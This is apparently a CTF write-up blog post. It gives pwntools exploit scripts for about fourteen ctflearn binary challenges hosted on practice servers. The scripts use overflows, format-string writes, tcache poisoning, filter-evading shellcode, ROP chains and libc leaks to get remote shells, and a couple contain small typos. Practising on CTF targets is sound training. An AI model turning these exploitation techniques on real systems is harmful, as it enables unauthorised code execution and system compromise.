team-logo
Published on

ctflearn.com - Binary medium challenges

Authors

I returned after 4 months with new solutions. As an almost beginner, these challenges were not easy for me; I spent a lot of time learning about the heap, and I’ve only scratched the surface so far. As I mentioned, the tasks are a bit more difficult, and some are real brain teasers, like the banned bytes one—I spent so much time on it, but I finally managed to solve it. I hope this doesn’t spoil the fun for you, and that you only check here if you get stuck somewhere. There are very few solutions available for these challenges, just a handful. That’s why I decided to solve them all. They are available on the site and are simply great (maybe some don’t work perfectly, but that’s a minor detail). ctflearn.com Rivit and thekidofarcrania did an amazing job. Enjoy.

Favorite color

favorive color

Solution:

ssh [email protected] -p 1001 (pw: guest)``

```bash
(python -c "print('A'*52 + '\x57\x86\x04\x08')"; cat) | ./color

Don't use that python -c "print('A'*52 + '\x57\x86\x04\x08')" | ./color

Shell time

shell-time
from pwn import *             

#-little help from here, I forgot about binary
#-https://7rocky.github.io/en/ctf/ctflearn/binary/shell-time/
context.log_level = 'warning' 

context.update(arch='x86_32', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

HOST="nc thekidofarcrania.com 4902"
ADDRESS,PORT=HOST.split()[1:]

p = remote(ADDRESS,PORT)

p.recvuntil(b'0x')
stack=int('0x'+p.recv(8).decode(),16)
payload=60*b'\x90'
payload += p32(0x08048420) #elf.plt.system
payload += p32(0)
payload += p32(stack + 0x48)
payload += b'/bin/sh'        

p.sendlineafter(b"Input some text:", payload)
p.interactive()

Poor Login

poor-login
from pwn import *             

context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

HOST="nc thekidofarcrania.com 13226"
ADDRESS,PORT=HOST.split()[1:]


BINARY_NAME="./login"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
#libc  = ELF('./libc.so.6', checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
    
else:
    p = process(binary.path)    

p.sendlineafter(b'>', b'1')  # Login into user
p.sendlineafter(b'Username:', b'Admin')  # Wysłanie nazwy użytkownika, alokacja pamięci 

# Zablokowanie zapisu (lock save = curr)
p.sendlineafter(b'>', b'4')  # Lock user

# Wylogowanie (zwolnienie pamięci - free)
p.sendlineafter(b'>', b'2')  # Sign out

# Wyświetlenie flagi i utworzenie bufora
p.sendlineafter(b'>', b'3')  # Print flag
p.sendlineafter(b'to create a new flag instead?', b'\x01' * 40)  # Wysłanie 40 bajtów 0x01

# Przywrócenie użytkownika (save = curr)
p.sendlineafter(b'>', b'5')  # Restore user

# Ponowne wyświetlenie flagi
p.sendlineafter(b'>', b'3')  # Print flag

# Interaktywny tryb, aby zobaczyć wynik
p.interactive()

Lottery

lottery
from pwn import *             
#-
#readelf -s training
#context.log_level='debug'      #
#context.log_level = 'info'
context.log_level = 'warning' 


context.update(arch='x86_64', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] #do wsl

HOST="nc rivit.dev 10005"
ADDRESS,PORT=HOST.split()[1:]

# HOST="34.252.33.37:30828"
# ADDRESS,PORT=HOST.split(":")

BINARY_NAME="./task_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
#libc  = ELF('./libc.so.6', checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)        

p.sendlineafter(b'Select option:',b'2')
p.sendlineafter(b'Select option:',b'2')
p.sendlineafter(b'Select option:',b'3')
p.sendlineafter(b'How much do you want to bet?',b'2147483648')
p.sendlineafter(b'Select number from 1 to 100:',b'10')    
p.recvline()
los=p.recvline()

if b'lost' in los:
    p.sendlineafter(b'Select option:',b'5')
    p.sendlineafter(b'Select option:',b'4')
    
    flag=p.recvline()
    warn(flag)    
    p.sendlineafter(b'Select option:',b'6')    
else:        
    warn (f"Lucky shot! Try again")
    p.close()                            
        

No more cookies

no-more-cookies
from pwn import *             
context.log_level = 'warning' 

context.update(arch='i386', os='linux') 
context.terminal = ['wt.exe','wsl.exe'] 

HOST="nc rivit.dev 10016"
ADDRESS,PORT=HOST.split()[1:]


BINARY_NAME="./task"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    


p.recvuntil(b'Address of victory: ')
victory=int(p.recvline().strip(),16)
warn(f"Victory: {victory:#x}")
p.recvuntil(b'Address of buf: ')
buf=int(p.recvline().strip(),16)
warn(f"buf: {buf:#x}")
p.recvuntil(b'Return address: ')
return_=int(p.recvline().strip(),16)
stack=buf+144
warn(f"Return: {return_:#x}")

payload = fmtstr_payload(7, {stack:victory})

p.sendline(payload)
    
p.interactive()

Disabled service

disabled-service
from pwn import *             
context.log_level = 'warning' 

context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']

HOST="34.252.33.37:30828"
ADDRESS,PORT=HOST.split(":")

BINARY_NAME="./task"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

p.sendlineafter(b'>',b'%12597c%7$n')
p.interactive()

Theft

theft
from pwn import *             
context.log_level = 'warning' 

context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe'] #

HOST="nc rivit.dev 10019"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./task_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

p.sendlineafter(b'>',b'1')
p.sendafter(b'Data:',16*b'A')
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'Index:',b'0')
address=p.recvuntil (b'(22)').strip()
payload = u64(address[16:-5].ljust(8, b'\x00'))  # pad to 8 bytes for u64
warn(f"FLAG address: {payload:#x}")
p.sendlineafter(b'>',b'1')
p.sendafter(b'Data:',16*b'A'+p64(payload))
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'Index:',b'0')
p.interactive()

Hook

hook
from pwn import *
from re import *

context.update(
    arch='x86_64',
    os='linux',
    log_level='warning',
    terminal=['wt.exe', 'wsl.exe']
)

HOST = "nc rivit.dev 10024"
ADDRESS, PORT = HOST.split()[1:]

binary = context.binary = ELF("./task_patched", checksec=False)
libc = ELF('./libc.so.6', checksec=False)

p = remote(ADDRESS, PORT) if args.REMOTE else process(binary.path)

# Leak libc address
puts = p.recvline().strip().decode()
puts_address = int(re.search('puts @ (.*)', puts).group(1), 16)
libc.address = puts_address - 0x875a0

warn(f"puts: {hex(puts_address)}")
warn(f"libc base: {hex(libc.address)}")
warn(f"__free_hook: {hex(libc.symbols['__free_hook'])}")
warn(f"system: {hex(libc.sym.system)}")

def do_menu(choice, data=None, size=None, index=None):
    p.sendlineafter(b'> ', str(choice).encode())
    if choice == 1:  # malloc
        p.sendlineafter(b'Size: ', str(size).encode())
        p.sendlineafter(b'Data: ', data)
    elif choice == 2:  # free
        p.sendlineafter(b'Index: ', str(index).encode())
    elif choice == 3:  # edit
        p.sendlineafter(b'Index: ', str(index).encode())
        p.sendlineafter(b'Data: ', data)

# Allocate two chunks
do_menu(1, b'A' * 16, 16)  # chunks[0]
do_menu(1, b'B' * 16, 16)  # chunks[1]

# Free them in reverse order to set up tcache
do_menu(2, index=1)
do_menu(2, index=0)

# Overwrite fd pointer to point to __free_hook
do_menu(3, p64(libc.symbols['__free_hook']), index=0)

# Allocate two chunks to overwrite __free_hook with system
do_menu(1, b'X' * 16, 16)  # chunks[2] - dummy allocation to align tcache
do_menu(1, p64(libc.sym.system), 16)  # chunks[3] - overwrites __free_hook

# Allocate chunk with /bin/sh and free it to trigger system("/bin/sh")
do_menu(1, b'/bin/sh', 16)  # chunks[4]
do_menu(2, index=4)

p.interactive()

Banned bytes

banned-bytes
from pwn import *             

context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']

HOST="nc rivit.dev 10012"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./task"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

length=48+8

#no working 48, 49 (x64 bytes, ret)
#in rdx is adress of stack
#you have to xor /bin/bash (/ -prohibited)
#you have to get rdx and you have stack
#0f 05 - xor too
#you have to write begin of stack and finish
shellcode_brainfuck = asm ("""
                 mov DWORD PTR [rdx+49], 0x040e9090
                 xor DWORD PTR [rdx+49], 0x01010000
                 mov al,0x3b
                 nop
                 mov DWORD PTR [rdx], 0x6e69622c      
                 xor DWORD PTR [rdx], 0x000000003
                 mov DWORD PTR [rdx+4], 0x0068732c    
                 xor DWORD PTR [rdx+4], 0x000000003
                 push rsi
                 pop rdi
                 mov edx,0
                 mov esi,0                                     
                 """)

p.sendlineafter(b'Banned bytes are:',shellcode_brainfuck)
p.interactive()

Management

management
from pwn import *             

context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']

HOST="nc rivit.dev 10013"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./task"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Select index:',b'-9') 

payload=binary.plt.system
p.sendlineafter(b'Provide new name:',p64(payload))

p.sendlineafter(b'Your choice:',b'2')
p.sendlineafter(b'Select index:',b'0')
p.sendlineafter(b'Provide new name:',b'/bin/bash')
p.sendline(b'cat flag.txt')
    
p.interactive()


Callsys

callsys
from pwn import *             

context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']

HOST="nc rivit.dev 10021"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./task"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

length=16


seed=b'580'
p.sendlineafter(b"Specify the seed:", seed)
p.recvuntil(b'Buffer at: ')

seed_buf_adress= int(p.recvline().strip(),16)
warn (f"seed_buf_adress: {seed_buf_adress:#x}")


pop_rdx_ret=seed_buf_adress+0x25d3
push_rsi_pop_rdi_ret=seed_buf_adress+0xca71
pop_rsi_ret=seed_buf_adress+0xcddf
syscall=seed_buf_adress+0x8a22
pop_rax=seed_buf_adress+0x2a99


payload = flat({
      0: [  b'/bin/bash\x00',
            6*b'\x00',
            push_rsi_pop_rdi_ret,
            pop_rsi_ret,
            0,
            pop_rdx_ret,
            0,
            pop_rax,
            0x3b,
            syscall
          ]
})

p.sendline(payload)
p.interactive()

Inspector Gadget

inspector-gadget
context.log_level = 'warning'

context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe'] 

HOST="nc rivit.dev 10020"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./task_patched"          #bad patched, but remote works

binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc  = ELF('./libc6_2.31-0ubuntu9.1_amd64.so', checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

length=40

rop=ROP(binary)
main=binary.sym.main
ret=rop.find_gadget(['ret'])[0]
pop_rdi=rop.find_gadget(['pop rdi','ret'])[0]
write_got=binary.got.write
write_plt=binary.plt.write
read_got=binary.got.read
__libc_csu_init_1=0x040126a #pop rbx,rbp,r12,r13,r14,r15
                             
# 00401266 48 83 c4 08     ADD        RSP,0x8
# 0040126a 5b              POP        RBX
# 0040126b 5d              POP        RBP
# 0040126c 41 5c           POP        R12
# 0040126e 41 5d           POP        R13
# 00401270 41 5e           POP        R14
# 00401272 41 5f           POP        R15
# 00401274 c3              RET

__libc_csu_init_2=0x0401250

# 00401250 4c 89 f2        MOV        rdx,R14
# 00401253 4c 89 ee        MOV        rsi,R13
# 00401256 44 89 e7        MOV        rdi,R12D
# 00401259 41 ff 14 df     CALL       qword ptr [R15 + RBX*0x8]=>->frame_dummy
# 0040125d 48 83 c3 01     ADD        RBX,0x1
# 00401261 48 39 dd        CMP        RBP,RBX
# 00401264 75 ea           JNZ        LAB_00401250


payload = flat({
   length: [
       __libc_csu_init_1,       
       0, #rbx->0
       1, #rbp->1
       1, #r12->rdi 
       write_got, #r13->rsi
       0x8, #r14->rdx
       write_got, #r15->function write_got
       __libc_csu_init_2,
       0, #ADD RSP,0x8
       0, #rbx->0       
       1, #rbp->1
       1, #r12->rdi 
       read_got, #r13->rsi
       0x8, #r14->rdx
       write_got, #r15->function write_got
       __libc_csu_init_2,
       0,0,0,0,0,0,0,
       main
   ]
})

p.sendlineafter(b"You have one job!", payload)

p.recvline()
adressess=p.recvline()
write_got_adress=u64(adressess[1:8].ljust(8,b'\x00'))
read_got_adress=u64(adressess[9:17].ljust(8,b'\x00'))

warn (f"write_got: {write_got_adress:#x}")
warn (f"read_got: {read_got_adress:#x}")

libc.address=write_got_adress-0x1111d0
warn (f"libc: {libc.address:#x}")

bin_sh=next(libc.search(b"/bin/sh"))
system=libc.sym.system

payload = length*b'A'
payload += p64(ret)
payload += p64(pop_rdi)

payload += p64(bin_sh)
payload += p64(system)
p.sendline(payload)

p.interactive()

Buffer brothers

buffer-brothers
rom pwn import *             

context.log_level = 'warning' 


context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']


HOST="rivit.dev:10023"
HOST = HOST.strip()
ADDRESS,PORT=HOST.split(":")

BINARY_NAME="./task"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

p.sendlineafter(b"What is the end of this story?",b'admin1234')
p.recvuntil(b'Logged as admin1234')
canary=p.recv(7)

canary = b'\x00' + canary   # Dodajemy brakujący bajt \x00 na początku
canary = u64(canary)
print(f"[+] CANARY: {canary:>#18x}")
p.recvuntil(b'print_flag is here: ')
print_flag = int(p.recvuntil(b'\n').strip(), 16)
print(f"[+] print_flag: {print_flag:>#18x}")

payload = 8 * b'A' + p64(canary) + p64(0) + p64(print_flag)

p.sendline(payload)
p.interactive()

Chain

chain
from pwn import *             

context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']

HOST="nc rivit.dev 10008"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./task_patched"
#BINARY_NAME="./task"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc  = ELF('./libc6_2.31-0ubuntu9.1_amd64.so', checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)    

length=24

rop=ROP(binary)
ret=rop.find_gadget(['ret'])[0]
pop_rdi=rop.find_gadget(['pop rdi', 'ret'])[0]

got_puts=binary.got.puts
got_read=binary.got.read

main=binary.sym.main
plt_puts=binary.plt.puts

payload=length*b'A'
payload += p64(pop_rdi)
payload += p64(got_puts)
payload += p64(plt_puts)

payload += p64(pop_rdi)
payload += p64(got_read)
payload += p64(plt_puts)
payload += p64(main)
p.sendlineafter(b"What is your favorite color?", payload)
p.recvuntil(b'this color')
p.recvline()
puts=u64(p.recvline().strip().ljust(8, b"\x00"))
read=u64(p.recvline().strip().ljust(8, b"\x00"))
warn (f"puts: {puts:#x}")
warn (f"read: {read:#x}")

libc.address=puts-0x0875a0
warn (f"libc: {libc.address:#x}")

bin_sh=next(libc.search(b"/bin/sh"))
system=libc.sym.system

payload += p64(ret)
payload += p64(pop_rdi)

payload += p64(bin_sh)
payload += p64(system)
p.sendlineafter(b"What is your favorite color?", payload)

p.interactive()